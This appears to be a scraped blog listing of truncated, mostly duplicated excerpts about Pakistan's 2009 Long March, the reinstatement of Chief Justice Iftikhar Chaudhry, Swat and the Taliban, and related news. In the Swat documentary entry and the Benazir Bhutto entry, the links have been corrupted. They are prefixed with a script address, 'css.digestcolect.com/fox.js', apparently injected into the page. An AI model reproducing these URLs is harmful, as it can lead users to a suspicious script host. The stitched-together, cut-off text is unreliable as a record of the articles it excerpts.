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Justice, Chief Justice and the Illusion of a False Revolution: In the following op-ed, Hasan Nisar asks some critical questions about the Long March and the restoration of the Chief Justice. Some of those questions are: 1. The Long March remained in the main confined to the Punjab. 2.
How honest and objective is Pakistan’s media? A small comparison of Daily The News and The New York Times: Long March and the role of Pakistan Army. Same story (Long March), same source (General Karamat’s article). Look at the twist in the version offered by Pakistan’s ‘The News’. The New York Times By JANE PERLEZPublished: March 16, 2009
How honest and objective is Pakistan’s media? A small comparison of Daily The News and The New York Times: Long March and the role of Pakistan Army. Same story (Long March), same source (General Karamat’s article). Look at the twist in the version offered by
Swat – Dispatches: Pakistan’s Taliban Generation: A TV documentary worth watching. Dispatches: Pakistan’s Taliban Generation (Channel 4). By Sharmeen Obaid-Chinoyhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.channel4.com/video/brandless-catchup.jsp?vodBrand=dispatches-pakistans-taliban-generation It was horrifying to say the least. It seems that brute force alone can’t eliminate these throat-slitting animals. It is an ideology and not restricted
Swat – Dispatches: Pakistan’s Taliban Generation: A TV documentary worth watching. Dispatches: Pakistan’s Taliban Generation (Channel 4). By Sharmeen Obaid-Chinoyhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.channel4.com/video/brandless-catchup.jsp?vodBrand=dispatches-pakistans-taliban-generation It was horrifying to say the least. It seems that brute force alone can’t eliminate these throat-slitting animals. It is an ideology and not restricted
Benazir Bhutto: Mein Baghi Hoon – I am a rebel: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1111, click this link if you are not redirected
Benazir Bhutto: Mein Baghi Hoon – I am a rebel: Benazir bhutto recited Dr. Khalid Javed Jan’s poem when she returned to Pakistan in 1986 when over a million people welcomed her in Lahore. The poem was written during General Zia’s tyranical rule. This particular clip is from the
Long March, Deal and Topi Drama? Asadullah Ghalib: External intervention by the US and the UK: The officials said Clinton coordinated with British Foreign Secretary David Miliband to exert strong pressure for a deal. Clinton told reporters Monday that the decision to reinstate Chaudhry was a first
Long March, Deal and Topi Drama? – by Asadullah Ghalib: External intervention by the US and the UK: The officials said Clinton coordinated with British Foreign Secretary David Miliband to exert strong pressure for a deal. Clinton told reporters Monday that the decision to reinstate Chaudhry was a first
Life after the Long March: Justice Iftikhar Chaudhry has been restored and that is a most welcome development for all the right reasons in the world. Now the Zardari government should have space to move forward and address other pressing issues. And since the
Life after the Long March: Justice Iftikhar Chaudhry has been restored and that is a most welcome development for all the right reasons in the world. Now the Zardari government should have space to move forward and address other pressing issues. And since the
Zahid F Ebrahim: Did Zardari get the last laugh?: There is much talk of an embattled and defeated man in the Presidency. The chief justice has been restored. The Zardari government has surrendered, it is claimed. So why has Zardari’s smile gotten wider? As night fell on March
Zahid F Ebrahim: Did Zardari get the last laugh?: There is much talk of an embattled and defeated man in the Presidency. The chief justice has
The never-ending march – by Mosharraf Zaidi: In September last year, I wrote that the heroic nature of the chief justice’s courage, and the lawyers’ movement that it spawned could only be transformational if it inspired political action that was rooted in the same principles, and
Ahmadi couple found dead in Multan: LAHORE: Blindfolded bodies of an Ahmadi couple were found from their house in Multan with hands tied behind their backs. The two were doctors by profession and had been murdered on March 14, a press statement by the Ahmadiyya
Ahmadi couple found dead in Multan: LAHORE: Blindfolded bodies of an Ahmadi couple were found from their house in Multan with hands tied behind their backs. The two were doctors by profession and had been murdered on March 14, a press
Who will lead a Long March to Swat? Civil judges barred from attending courts by Sufi Muhammad: Swat: Civil judges must refrain from coming to the courts. Sufi Muhammad’s order Sufi Muhammad urges people to cooperate with Qazi courts SWAT, Mar 16 (APP): The Chief of Tehrik Nifaz‑e‑Shariat Muhammadi (TNSM), Maulana Sufi Muhammad here Monday appealed
Who will lead a Long March to Swat? Civil judges barred from attending courts by Sufi Muhammad: Swat: Civil judges must refrain from coming to the courts. Sufi Muhammad’s order Sufi Muhammad urges people to cooperate with Qazi courts SWAT, Mar 16 (APP): The Chief of Tehrik
Deal or no deal? The real story of the Long March and the restoration of Iftikhar Chaudhry: Justice Iftikhar Chaudhry restored as Chief Justice of PakistanMonday, March 16, 2009 ISLAMABAD: Prime Minister Syed Yousuf Raza Gilani early Monday morning announced reinstatement of the deposed Chief Justice Iftikhar Mohammad Chaudhry and other judges. “I restore the deposed
Deal or no deal? The real story of the Long March and the restoration of Iftikhar Chaudhry: Justice Iftikhar Chaudhry restored as Chief Justice of PakistanMonday, March 16, 2009 ISLAMABAD: Prime Minister Syed Yousuf Raza Gilani early Monday morning announced reinstatement of the deposed Chief Justice Iftikhar